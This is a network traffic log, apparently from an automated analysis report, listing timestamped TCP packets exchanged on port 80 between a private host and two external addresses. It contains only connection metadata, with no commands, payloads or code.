Nov 1, 2024 12:34:05.738496065 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738502026 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738512039 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738518000 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738523006 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738528967 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738540888 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738545895 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738548040 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738558054 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738564014 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738576889 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738584042 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738609076 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738626003 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738632917 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738650084 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738693953 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738699913 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738709927 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738717079 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738718033 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738775015 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738775015 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738831043 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738842964 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738847971 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738858938 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738863945 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738873005 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738878965 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738879919 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738898039 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738903999 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738909960 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738918066 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738936901 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.738985062 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.738991022 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739001036 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739006996 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739011049 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739015102 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739027023 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739075899 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739118099 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739124060 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739135981 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739140987 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739146948 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739156961 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739162922 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739165068 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739171028 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739177942 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739182949 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739186049 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739202023 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739252090 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739259005 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739269972 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739274979 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739279985 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739280939 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739294052 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739296913 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739299059 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739305019 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739310980 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739326954 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739332914 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739336014 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739339113 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739348888 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739728928 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739736080 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739747047 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739751101 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739756107 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739762068 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739762068 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739768028 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739779949 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739784956 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739795923 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739801884 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739801884 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739801884 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739813089 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739819050 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739835978 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739839077 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739846945 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739856958 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739861965 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739867926 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739869118 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739880085 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739886045 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739888906 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739892006 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739897966 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739903927 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739908934 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739916086 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739926100 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739931107 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739933968 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739942074 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739948034 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739948034 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739953995 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739965916 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739972115 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739973068 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.739983082 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.739989042 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740000963 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740005970 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740015984 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740025997 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740031004 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740035057 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740041971 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740047932 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740050077 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740058899 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740065098 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740067005 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740076065 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740082026 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740092039 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740097046 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740101099 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740108013 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740128994 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740554094 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740560055 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740571022 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740580082 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740581989 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740586996 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740598917 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740603924 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740606070 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740609884 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740622044 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740643024 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740653992 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740658998 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740663052 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740663052 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740665913 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740673065 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740717888 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740722895 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740724087 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740724087 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740731001 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740741968 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740746021 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740751982 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740763903 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740775108 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740801096 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740919113 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740925074 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740936041 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740942001 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740947962 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.740964890 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.740998030 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741036892 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741043091 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741051912 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741056919 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741065025 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741070032 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741080046 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741085052 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741086960 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741091013 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741096973 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741106987 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741111994 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741117001 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741121054 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741125107 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741143942 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741168976 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741169930 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741209984 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741214991 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741234064 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741251945 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741307020 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741312981 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741323948 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741329908 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741333961 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741334915 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741347075 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741352081 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741353035 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741385937 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741476059 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741482019 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741498947 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741503000 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741520882 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741523981 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741528034 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741540909 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741545916 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741552114 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741554022 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741602898 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741604090 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741606951 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741615057 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741626978 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741632938 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741643906 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741648912 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741653919 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741655111 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741662979 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741664886 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741689920 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741722107 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741728067 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741739035 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741745949 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741764069 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741791964 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741797924 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741810083 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741816998 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741820097 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741835117 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741856098 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741889000 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741894007 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741904974 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741909981 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741914988 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741920948 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741925955 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741931915 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.741936922 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.741967916 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.742007971 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.742012978 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.742023945 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.742028952 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.742039919 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.742046118 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.742050886 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.742072105 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.742791891 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:05.743338108 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:05.743375063 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:06.658986092 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:06.659306049 CET	49971	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:06.664635897 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:06.664690018 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:06.665342093 CET	80	49971	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:06.665415049 CET	49971	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:06.680038929 CET	49971	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:06.685003042 CET	80	49971	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:07.568274021 CET	80	49971	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:07.568340063 CET	49971	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:07.705903053 CET	49971	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:07.706321001 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:07.711229086 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:07.711323023 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:07.711412907 CET	80	49971	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:07.711460114 CET	49971	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:07.729269981 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:07.734232903 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:08.592442989 CET	49973	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:08.597863913 CET	80	49973	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:08.599250078 CET	49973	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:08.600298882 CET	49973	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:08.605225086 CET	80	49973	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:08.629257917 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:08.630105972 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:08.632304907 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:08.637619972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:08.922647953 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:08.923202991 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:08.935372114 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:08.940162897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221199989 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221209049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221220016 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221226931 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221234083 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221246958 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221409082 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.221429110 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221443892 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221461058 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221467018 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221477985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.221498013 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.221525908 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.221971035 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.222074032 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.226337910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.226346970 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.226470947 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.380507946 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380517006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380532026 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380537987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380551100 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380661011 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.380855083 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380861998 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380908966 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.380912066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380920887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380927086 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.380934000 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.380964041 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.380991936 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.381761074 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.381794930 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.381803036 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.381814957 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.381823063 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.381865978 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.381908894 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.382669926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.382684946 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.382697105 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.382703066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.382709980 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.382734060 CET	49972	80	192.168.2.7	185.215.113.16
